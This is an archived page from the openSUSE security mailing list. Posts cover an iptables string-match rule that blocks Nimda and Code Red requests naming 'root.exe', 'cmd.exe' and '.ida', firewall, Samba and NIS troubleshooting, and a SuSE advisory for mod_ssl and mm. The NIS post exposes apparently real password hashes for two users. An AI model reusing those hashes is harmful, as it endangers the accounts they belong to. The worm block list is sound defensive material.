July 2002 - openSUSE Security - openSUSE Mailing Lists

how to keep nimda and code red from filling apache logs
by Mathias Homann 25 Sep '03

25 Sep '03

Hi all, here's a bit of a step-by-step description on how to keep nimda and codered from filling your apache logs. Parts used: - SuSE 7.2 Professional - SuSEfirewall2 - iptables 1.2.3 - linux kernel 2.4.13-pre5 steps: 1. install kernel sources for a kernel >> 2.4.9, running 2.4.13- pre5 here, works fine so far 2. get the sources for iptables 1.2.3 from http://netfilter.samba.org 3. unpack sources somewhere 4. export KERNEL_DIR=$(where you put the kernel tree) 5. cd into unpacked iptables sources, there's a subdirectory named patch-o-matic there 6. apply wanted patches by running ./runme $(name.of.patch)patch for this here You'll want the string patch You can also apply other patches, like the irc-conntrack patch 7. now there's a little bug in this patch... here's a diff: --- linux/net/ipv4/netfilter/ipt_string.c~ Sun Oct 21 00:16:29 2001 +++ linux/net/ipv4/netfilter/ipt_string.c Sun Oct 21 16:54:45 2001 @@ -62,7 +62,7 @@ sk = skip[haystack[right_end - i]]; sh = shift[i]; - right_end = max(int, right_end - i + sk, right_end + sh); + right_end = max(right_end - i + sk, right_end + sh); } return NULL; 8. now, make config/menuconfig/xconfig... as usual. You can import your running kernel's config first. 9. enable the experimental stuff 10. go to networking options->netfilter, there's an option there to enable string matching; set that to M 11. compile and install kernel as usual; remember to uncomment the export INSTALL_PATH=/boot in the main makefile. 12. now build a rpm file for the new iptables stuff by installing the source rpm which comes with suse, then edit the spec file, put the iptables source in /usr/src/packages/SOURCE and rebuild. 13. now there are some small changes to the firewall config files. a) uncomment the last line in /etc/rc.config.d/firewall2.rc.config: FW_CUSTOMRULES="/etc/rc.config.d/firewall2-custom.rc.config" b) edit that file, I got the following stuff in mine: for forbidden_string in root.exe cmd.exe .ida; do iptables -I input_ext -p tcp --dport http -m string \ --string $forbidden_string -m state \ --state ESTABLISHED -j REJECT --reject-with tcp-reset done put that in the last supfunction defined in the custom rc file. c) change the FW_LOG setting in firewall2.rc.config from reading -log-level warning to -log-level kernel.warning 14. last: some small changes to /sbin/SuSEfirewall2 search in the script for the parts where the modules are loaded and unloaded; be sure to add ipt_string (and the other new modules you created by patching the kernel and enabling them in make config) to the modules loading/unloading code there. 15. reboot 16. if you try now to access (from outside, of course) one of the nimda or codered URLS, all you get is a 'connection reset by peer', and the request doesn't show in apache log files. btw, no guarantees, and the usual YMMV :) bye [L]

7 7

suse samba server
by jonathan 23 Jan '03

23 Jan '03

Hello I have basically a suse samba server setup. Eth0 is for the internet connection (cable). Eth1 is my internal network. I use eth1 for my samba server. When i have the shares/ drive letters mapped, whatever, Ill goto access them and that computer will just lockup or timeout for about 1 minute, then it will resume operation normally. I have approx. 5 comptuers on the suse server, and they all do this from windows xp to windows 98se. I am using set up addresses of 192.168.0.x, where is greater than 2. My question is have or is there something Ive setup wrong to cause this pause to occur. ? Its becomming very annoying..and frustrating. Im using kernel 2.4.18-64GB-SMP with a dual processor setup. If anyone has any ideas please let me know. Every package installed is orginal versions from the suse install cdroms. (no updates done). Anything come to mind. btw, ive replaced the switch, with a new netgear one, and all the networks at startech ST100 Realtek 8139 chipsets on 100Tx. Anyone... !

4 5

Urgggggg!!! SuSEFirewall2 is getting on my nerves!!!!!
by Chris Bek 08 Jan '03

08 Jan '03

Hi there SuSErs... Well I must be doing something really wrong because everything that I do with SuSEFirewall2 is just not working! I have a small network with 5 PCs (all Win9X) and a Linux box (Currently SuSE 7.3) acting as a server. The server is a DHCP server and a Samba server for the entire network. So far everything is working perfect!!! Users log on the network, logon script executes etc.... Then a new task came up: let's input the internet into the network. Configured a 56Kbps modem on the server with YAST. Manged to get my account setup and running. Made a test connection and netscape works great on the server as well as e-mail (pop3). I tried configuring SuSEfirewall to manage all incoming requests from the PCs of the network. The firewall warned me about masquerading etc. so I downloaded the latest version of SuSEfirewall2 from the internet and installed it. Since I only need direct masquerading to be done (no proxies are currently working on the net) I made all the necessary changes as outlined in the examples supplied with the software. Since I needed to have Samba to keep working on the network, I opened (among others) 139 port for samba to work. Double checked all the changes that I have made and run rcSuSEfirewall2 to see what happens. Strange enough when wvdial executes it tells me that DNS is not functioning properly since www.suse.com cannot be found (or something like that please forgive me I am away from the Linux station now). Further on, when I open mIRC or other like programs (winmx etc) from a station, I look at the activity of IPtraf (I check this to see what happens) and I see no connections being created whatsoever.... mIRC prompts me that there was an error trying to find the host.... I have made no changes to the Win9X PCs. Is there something that I am forgeting to do?? I undestand that it is impossible for all of you to react to this since I have no output of the SuSEfirewall.conf file being published to this message.... I understand. Can someone please send me their configuration file so I can see what you have done, on a system that currently is working fine?? In addition, is there something that I have to do regarding route or routing?? What about the Win9X PCs?? Is there something that I have to do there?? I thank you so very much for all your help is advance!!!! I am killing myself trying to figure this one out for about 2 weeks now and managed nothing more than thin air!!!!! Chris

11 10

SSH Authentication
by Joao Reis 18 Nov '02

18 Nov '02

Hi! I implemented a ssh conection from the outside to my intranet. This ssh requires a username and a password. In terms of security what is more secure: require authentication (username and password) or having the public key of each user that connects to our intranet in the authorized public key lists (in this case there is no need for username and password)? In the second case there is no need of authentication and only the users wich have the public keys in the list are allowed to enter in my intranet. This second solution is a good solution or that brings other security problems ? Thanks. -- Farewell. "Keep your friends close, but your enemies closer." "Do or do not. There is no try" - Yoda João Reis -------------------------------------------------------

2 1

RE: [suse-security] SuSE Security Announcement: openssl (SuSE-SA:2002:027)
by Alan Rouse 09 Aug '02

09 Aug '02

So, if I'm using OpenSSH but (otherwise) not OpenSSL, will my remedy require an update of OpenSSH or of OpenSSL, or both? -----Original Message----- From: Olaf Kirch [mailto:okir@suse.de] Sent: Wednesday, July 31, 2002 4:14 AM To: Graham Murray Cc: suse-security(a)suse.com Subject: Re: [suse-security] SuSE Security Announcement: openssl (SuSE-SA:2002:027) On Tue, Jul 30, 2002 at 09:58:43PM +0100, Graham Murray wrote: > Openssh uses openssl. Is openssh vulnerable to any of the openssl > exploits? Potentially, yes. It may be possible to trigger the ASN.1 signedness bug when decoding RSA keys during/after RSA authentication. The other bugs, no, because OpenSSH doesn't use SSL. Olaf -- Olaf Kirch | Anyone who has had to work with X.509 has probably okir(a)suse.de | experienced what can best be described as ---------------+ ISO water torture. -- Peter Gutmann -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here

3 2

Apache update
by Alex Levit 06 Aug '02

06 Aug '02

Here is what I get after today's apache update using YOU, on SuSE MAIL III server. [error] [Tue Jul 30 16:33:29 2002] RefSecMod.pm: Can't locate RefSecMod.pm in @INC (@INC contains: /var/www/perllib /usr/lib/perl5/5.6.0/i586-linux /usr/lib/perl5/5.6.0 /usr/lib/perl5/site_perl/5.6.0/i586-linux /usr/lib/perl5/site_perl/5.6.0 /usr/lib/perl5/site_perl . /var/www/ /var/www/lib/perl) at (eval 156) line 3. [Tue Jul 30 16:33:30 2002] [notice] child pid 31044 exit signal Segmentation fault (11) -- Alex Levit Senior Network Engineer Kel-Tek Inc. TEL: 626-571-6927 FAX: 626-571-8794 'Alex(a)kel-tek.com'

2 1

FreeBSD NIS Server + SuSE Linux Client
by Glen Campbell 02 Aug '02

02 Aug '02

I hope this is the correct list for this question. Since it has to do with login and authentication, I thought "security" was the closest match I could find. I've been browsing the SuSE list archives for a week (along with everything else I could find on Google) with no success. I'm seriously losing my hair over this. I have recently installed SuSE Linux 8.0 on two separate machines. My other machines at home are both running FreeBSD (4.6-STABLE). They are the NIS master and slave servers, respectively. I have used YAST2 to initiate an "NIS Client" on the Linux boxes. Ypbind and ypwhich are both running successfully and returning proper information. I can "finger" all of the NIS users and I can ypcat passwd, master.passwd, etc. However, I cannot login with an NIS user. I have turned "debug" on in security/pam_unix2.conf, and here is the Jul 26 09:44:25 horace sshd[1449]: pam_unix2: pam_sm_authenticate() called Jul 26 09:44:25 horace sshd[1449]: pam_unix2: username=[glen] Jul 26 09:44:25 horace sshd[1449]: pam_unix2: wrong password, return PAM_AUTH_ERR Jul 26 09:44:25 horace sshd[1449]: Failed password for glen from ::1 port 32772 ssh2 In this case, it's from sshd, but I get the same results from login and kdm as well. Here's what "ypcat passwd" returns (just a sample): stephen:*:1013:1001:Stephen XXXX:/home/stephen:/bin/tcsh tpecot:*:1016:1001:XXXX Pecot:/home/tpecot:/bin/tcsh Here's what "ypcat master.passwd.byname" returns (again, a sample): stephen:$1$z2wACRkf$camGYsMF6OTjTL41gNSCX0:1013:1001::0:0:Stephen XXXX:/home/stephen:/bin/tcsh tpecot:$1$P3lvmuTE$RRuEzWjhxwwmMOwv0DzvN.:1016:1001::0:0:XXXX Pecot:/home/tpecot:/bin/tcsh (1) it has been suggested that the MD5 encryption used in the FreeBSD password file is causing the problem. However, I have been able to cut a password from the BSD password file into the Linux password file and it worked just fine (for a local user). I don't think that's the problem. (2) The BSD password file has "*" in the second field, which indicates the password is stored in master.passwd. SuSE Linux uses an "x" in the second field to indicate that the password is stored in /etc/shadow. Could this be the source of the conflict? If so, how do I configure SuSE to recognize the "*" instead of the "x"? (3) Beyond this, I'm at a total loss. I really have no idea how to debug or fix this. I hate to have to set the Linux box as a standalone machine because it does not support NIS. Thanks in advance for your help, Glen Campbell

1 1

SuSE Security Announcement: mod_ssl, mm (SuSE-SA:2002:028)
by Roman Drahtmueller 02 Aug '02

02 Aug '02

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: mod_ssl, mm Announcement-ID: SuSE-SA:2002:028 Date: Wednesday, Jul 31st 2002 18:00 MEST Affected products: 7.0, 7.1, 7.2, 7.3, 8.0 SuSE Linux Database Server, SuSE eMail Server 3.1, SuSE Linux Enterprise Server, SuSE Linux Firewall on CD SuSE Linux Connectivity Server SuSE Linux Office Server Vulnerability Type: local privilege escalation Severity (1-10): 5 8 for SuSE Linux 7.0 SuSE default package: no mm: yes for SuSE Linux 7.0 Cross References: Content of this advisory: 1) security vulnerability resolved: mod_ssl, mm problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information This security announcement covers two different errors in packages used by and used with the apache package. The first bug is an off-by-one overflow in the code responsible for handling configuration directives in mod_ssl, the apache module that enables apache to serve SSL encrypted http protocol. This vulnerability allows a local attacker to use a specially prepared .htaccess file for a denial of service attack against a webserver child, resulting in an increased resource usage overhead on busy webservers, or possibly to execute arbitrary commands as the webserver user (wwwrun in the SuSE case). This bug has been discovered by Frank Denis. The second bug was found by Markus Meissner (while working for Caldera in 2001, now SuSE) and Sebastian Krahmer, SuSE Security, independently. It is a temporary file handling problem in libmm (package name is "mm"), a library for communication between forked processes using IPC semaphores, IPC shared memory and/or shared mmap()'ed files. The vulnerability allows a local attacker to gain root privileges once she has succeeded to gain the (local) privileges of the user wwwrun on the system running the apache webserver. The apache webserver consists of a core package named apache, plus a set of packages that provide additional functionality in the form of apache modules (that can be configured to be loaded at runtime). In addition to the security problems fixed, the apache package(s) now have improved package dependencies and package configuration that should make package management more transparent and that should add more stability to the packages as a result of a clearer structure. In order to have these improvements available for all packages in the apache group, we provide all packages that depend on the apache main package as well as all packages that the apache package depends on for download on our ftp server. Please see the package list for your distribution for details. To find out which package you have installed (which package you need to download), please use the command rpm -q --whatrequires apache The command either shows an error message if apache is not installed, or it will show you the names of the packages in the form package-version-release example: jserv-1.1.2-502 You would have to download and install the package jserv. Alternatively, Yast Online Update (YOU), available in the menu from the yast2 command, can do this work for you. NOTE for users of the SuSE Linux 7.0 distribution: ---------------------------------------------------- The preceding SuSE Security announcement about openssl (SuSE-SA:2002:027) offers fixes against a set of critical bugs in the openssl library. The mod_ssl apache module makes use of this library. If you have updated the openssl packages on your system according to SuSE-SA:2002:027 and if you have restarted your webserver as documented in the announcement, the freshly started webserver uses the new installed openssl shared libraries. On SuSE-7.0 systems the mod_ssl apache module (/usr/lib/apache/libssl.so) has been statically linked to the openssl library for technical reasons. By consequence, the update of the openssl package does not have any effect on the vulnerability present in the openssl part of the mod_ssl apache module on a SuSE Linux 7.0 system. The mod_ssl package provided for download from the 7.0 update trees on our ftp server are linked to the fixed openssl library. As a result of this circumstance, the SuSE Linux 7.0 distributions should receive special attention with regards to this announcement and the openssl announcement (SuSE-SA:2002:027). Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. (Brief note: Please see Section 2) of this announcement after the lengthy links list for corrections for SuSE-SA:2002:027 and additional information!) Intel i386 Platform: SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/d2/mm-1.1.3-290.i386.rpm 8166ca78a5f06a730fe40cba5844bb20 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/apache-1.3.23-137.i386.rpm c0715e4f3bfe32090263c562560e15b6 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/apache-devel-1.3.23-137.i386… 0e638f0d2029e04613f020801c254d2b ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/apache-doc-1.3.23-137.i386.r… 7424c82e01b7d31000c4832cd6ad8e76 ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec2/mod_ssl-2.8.7-105.i386.rpm 0babb0d1872d2aba0e4f966067ba7c6b ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/mod_perl-1.26-347.i386.rpm f891546e80c90f2189a2415ed4d5a9b2 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/mod_php4-4.1.0-244.i386.rpm f2697f17d69bc42119d815b7ff17b2aa ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/mod_php4-aolserver-4.1.0-244… 596d6f7f312e988a8388092dbf5edd2c ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/mod_php4-core-4.1.0-244.i386… 15834822f98db1263e400a691fc097a0 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/mod_php4-servlet-4.1.0-244.i… 7aa6e30c549774e13657fd5c6fe91d7c ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/mod_php4-devel-4.1.0-244.i38… aca9687a9ef2d10e923dc7dab46cf690 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n4/backhand-1.2.1-117.i386.rpm 6ed5524629b7fd96bb177ee457abec73 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/mod_dav-1.0.2-461.i386.rpm ba7b753786def92934c8a7eccf02fdf8 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n4/jserv-1.1.2-523.i386.rpm 1b33a7f5c00d2585309fe163434609a5 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/mod_python-2.7.6-234.i386.rpm 8f12475ef7beb7dd1df7c66c798c84da ftp://ftp.suse.com/pub/suse/i386/update/8.0/n4/authldap-1.6.0-320.i386.rpm b8fce7a90f3514659e3702485e35ada4 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n3/apache-contrib-1.0.9-385.i38… 20870788500d8d15e02415947498ab26 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n4/midgard-1.4.2-231.i386.rpm 354d0cd09c98b1bb8df3bf5c5bd893c3 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/mm-1.1.3-290.src.rpm 53be39835d884b74a29ad1f662ea3fde ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/apache-1.3.23-137.src.rpm 87df29c2d19f6a5f1ae3277c776a5576 ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/mod_perl-1.26-347.src.rpm 1e8f97e9273464e3955fe886d60a3a45 ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/mod_php4-4.1.0-244.src.rpm 5cfc70e8893a1e5e19d4155d992d354f ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/backhand-1.2.1-117.src.rpm a91ccfce956825a8fa0a0dbdb32d89c1 ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/mod_dav-1.0.2-461.src.rpm ef37e22cd179e871bf7a331db6be3949 ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/jserv-1.1.2-523.src.rpm 6fe3d12dd8e7c79a6a08b97156be687d ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/mod_python-2.7.6-234.src.rpm a1aa161db302b68727a6a2962ead481a ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/authldap-1.6.0-320.src.rpm d73616edf726b846f4aff7e6e8a4143d ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/apache-contrib-1.0.9-385.sr… b2ff404933cc8db581c0c0a01373ab11 ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/midgard-1.4.2-231.src.rpm bf0584d282edb2a45217eed9c340a671 SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/d2/mm-1.1.3-292.i386.rpm c614a70084a7380771c075587a91969a ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/apache-1.3.20-70.i386.rpm 6659621af06fe56b7e0ce1ad1fa3a6dd ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/apache-devel-1.3.20-70.i386.… c543c7b6f2f50332c7423db63d241dd1 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/apache-doc-1.3.20-70.i386.rpm a31d1968b554d1ac363366e0fdd5452a ftp://ftp.suse.com/pub/suse/i386/update/7.3/sec2/mod_ssl-2.8.4-70.i386.rpm 45772c408448366be139ecad2d87f3a2 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/mod_perl-1.26-348.i386.rpm 7bcb22b689f35a25dbc2b051731ea4ec ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/mod_php4-4.0.6-179.i386.rpm 0f173acaf6d6d578240da88abb0cddc2 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n3/mod_php4-aolserver-4.0.6-179… 81ef72a1a522f2be908fd007d1032281 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n1/mod_php4-core-4.0.6-179.i386… 7c9462e0f1785a7a4ee08b5ff61fbc3b ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/mod_php4-servlet-4.0.6-179.i… f5db2276526ef42421630bf4b16a9557 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/backhand-1.2.0-251.i386.rpm 4edec01d951dea4691a3148a70dd464b ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/mod_dav-1.0.2-462.i386.rpm d0f08c0d9cafe5422e4e229f96403d05 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/jserv-1.1.2-524.i386.rpm 4ffc6ff4387f04aee3358319d0195a32 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/mod_python-2.7.5-128.i386.rpm 7fe250647902a1ba1109cc811f920549 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/authldap-1.6.0-321.i386.rpm 2586bbb8e0fd8eacf839458f27e50b23 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/apache-contrib-1.0.9-386.i38… 9bf8adfdafea482e0053ff1fc93df33a ftp://ftp.suse.com/pub/suse/i386/update/7.3/n3/midgard-1.4-219.i386.rpm 719288681e2b981bb970969250cf632b source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/mm-1.1.3-292.src.rpm 65e6e1e0ff8b2547b498131eb6fe3b1f ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/apache-1.3.20-70.src.rpm 74898bdd84fa9d487a9c349a69c4ce53 ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/mod_perl-1.26-348.src.rpm 27661bac2452b22088e3485bfbe3c852 ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/mod_php4-4.0.6-179.src.rpm c1e994b81f9efe67914939fe60d0fca6 ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/backhand-1.2.0-251.src.rpm e341175f3735182d5bb2817304c9473d ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/mod_dav-1.0.2-462.src.rpm 4686f29839c7ace8114d1c01ed4014ec ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/jserv-1.1.2-524.src.rpm e4e848abef4526cb4168250ebf25469c ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/mod_python-2.7.5-128.src.rpm 6d64d045e5aafbaa6a34274178d49d87 ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/authldap-1.6.0-321.src.rpm 18c40c1d137f2a15a2132ac4c50c7e16 ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/apache-contrib-1.0.9-386.sr… 546546d01d36d6b02d443cb0ad70bee7 ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/midgard-1.4-219.src.rpm 450ecac2b1646c9440dbd7ecc75f3e4e SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/d1/mm-1.1.3-290.i386.rpm 5ff24912c2ac104f3cd4e18076424b16 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/apache-1.3.19-127.i386.rpm b65b6bd4f0e7ec6b4864d62fb747d31d ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/apache-devel-1.3.19-127.i386… a30691a0b0aff93eb8b311ceadbfd6c4 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/apache-doc-1.3.19-127.i386.r… aaa515af2abd1cf35b563da93316f4dc ftp://ftp.suse.com/pub/suse/i386/update/7.2/sec2/mod_ssl-2.8.3-60.i386.rpm 9ece4b0f3f35f1be5b8cf84ac1eab039 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/mod_perl-1.25-77.i386.rpm b5a212beaaf8ae019fd39b8455af5a96 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/mod_php4-4.0.6-179.i386.rpm 153269452051c4de3bfcc83a39ebdefd ftp://ftp.suse.com/pub/suse/i386/update/7.2/n1/mod_php4-core-4.0.6-179.i386… c3cb20bbd0d168970b9efcfc4773a0d3 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/backhand-1.1.0-121.i386.rpm 3dca00dfb0444f1310fbd981c3ced800 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/mod_dav-1.0.2-461.i386.rpm aa9c2befe74e442a43ac801d37249f90 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/jserv-1.1.2-522.i386.rpm be8faa42905d3251f44be07efa9ce369 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/mod_python-2.7.2-79.i386.rpm 8862e7610e64c422a514cd427e999faa ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/authldap-1.4.8-121.i386.rpm 73d3a3e879f06dd88b046198fa0ab0b5 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/apache-contrib-1.0.9-385.i38… d9f44dfc8a666ab2b19ec5f064c10fc7 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n3/midgard-1.4-218.i386.rpm d6e82f2b921cb4ed0d3bf11011f5e17e source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/mm-1.1.3-290.src.rpm bc82da5aa8e2fdbb78bcad5f558ec00e ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/apache-1.3.19-127.src.rpm d057281665517746e59eeae4e0b89f36 ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/mod_perl-1.25-77.src.rpm 6d3f0d7e09e03987bdc053384e45404d ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/mod_php4-4.0.6-179.src.rpm bdc28330484aed55cf51d4594b9135d7 ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/backhand-1.1.0-121.src.rpm ddcd1a267a76a0bb63aef93ecb3006d8 ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/mod_dav-1.0.2-461.src.rpm c7d3540f441159d83f068df56a118b4c ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/jserv-1.1.2-522.src.rpm a76e51aa75b073ae15d646730423a0ba ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/mod_python-2.7.2-79.src.rpm 7fead1474223a5ad7c08571ec732aa0e ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/authldap-1.4.8-121.src.rpm cd5cb1210df23d9bd63ca86b46885527 ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/apache-contrib-1.0.9-385.sr… eb4a548af4ba748a5534f8640793c8c9 ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/midgard-1.4-218.src.rpm 5abc7c1a03584dab12df110eaadfa45b SuSE-7.1: ftp://ftp.suse.com/pub/suse/i386/update/7.1/d2/mm-1.1.3-293.i386.rpm 8129e176c0512b01b596c901d93c5ef2 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/apache-1.3.19-126.i386.rpm 391c814c69eea57a5ae6699adeb77d2c ftp://ftp.suse.com/pub/suse/i386/update/7.1/sec2/mod_ssl-2.8.1-3.i386.rpm 81fce209177e63035b35bf9bfe73d055 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/mod_perl-1.24-154.i386.rpm 48c0896cbab8fbcace1f8a3886dcba5e ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/mod_php4-4.0.4pl1-142.i386.r… 8a829c7fd56622b736a7f538e2d8cc3c ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/mod_php-3.0.17RC1-65.i386.rpm 65e27d29611c13e269b1f7c16555f839 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/backhand-1.1.0-120.i386.rpm 1931ec8513d2e99da1e340fb482d7874 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/mod_dav-1.0.2-460.i386.rpm fcefdb003cfb65c04c1e25a2bc9b525b ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/jserv-1.1.2-521.i386.rpm 6f7e5ef113ce48f1e8470159c0d674af ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/mod_python-2.7.1-40.i386.rpm 99e08d6b371f15d32e4d9679422a3f7e ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/authldap-1.4.3-135.i386.rpm ab31d2443109bbf9bbbe1ee4f5aadda3 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/apache-contrib-1.0.8-44.i386… 324351fac0d77122f755947dfaa1a079 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/mm-1.1.3-293.src.rpm fe1feb59abd0169fcf9b1a4556c4ea9c ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/apache-1.3.19-126.src.rpm 7b90a171c0a1e920983e9eacc40ef81e ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/mod_perl-1.24-154.src.rpm 40d08c7c00e4e09dd10b889e54867ccf ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/mod_php4-4.0.4pl1-142.src.r… 23e6b8d1f2128dd4885f85d939646078 ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/mod_php-3.0.17RC1-65.src.rpm 927f2fa9d5e3f17aa61b929ca40bb30c ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/backhand-1.1.0-120.src.rpm 29862853cff9d26c012f0ea72cf3cc67 ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/mod_dav-1.0.2-460.src.rpm ed9b064d8b65152d4da2082f08b1cd5f ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/jserv-1.1.2-521.src.rpm 4c2e720d433df77d1c97ee434b8f930b ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/mod_python-2.7.1-40.src.rpm 316e6a75b80441853c37bd6f7fd56806 ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/authldap-1.4.3-135.src.rpm 18935b06b2c805f5db8e7d28901abe4b ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/apache-contrib-1.0.8-44.src… 40e3c1b9213578596e4e1f32dd4c3929 SuSE-7.0: ftp://ftp.suse.com/pub/suse/i386/update/7.0/d1/mm-1.1.1-61.i386.rpm 97b713180c608d5074b272c38ba2af1f ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/apache-1.3.19-128.i386.rpm 7bbef37a387cc3510e84c18f0f18ae4a ftp://ftp.suse.de/pub/suse/i386/update/7.0/sec1/mod_ssl-2.8.2-38.i386.rpm 18a0860421cc58d1dec97043660aeddd ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/mod_perl-1.24-147.i386.rpm e6f1c8961fb287bd80100a1a9afe86ad ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/mod_php4-4.0.4pl1-135.i386.r… 99e3e87bf1f18a839f2b1a2f80c3f336 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/mod_php-3.0.17RC1-58.i386.rpm f5bf0d330497369076dee3920d12321d ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/backhand-1.1.0-111.i386.rpm 802202bc570e57426366d7796bc9a9fb ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/mod_dav-1.0.0-76.i386.rpm 60182e4444e262eef1c35becc7b58cb9 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/jserv-1.1.2-502.i386.rpm 6f16fc74bc83e4bd195318d300dd3c17 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/authldap-1.4.3-128.i386.rpm 04703665b40ed8648e2b7590b8654b96 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n2/midgard-1.2.5-139.i386.rpm a34dc76c691dc519d2964eec4fc79850 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/modcontr-1.0.7-180.i386.rpm 265277f7373ef06c0058f1b9993bb7e4 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/mm-1.1.1-61.src.rpm 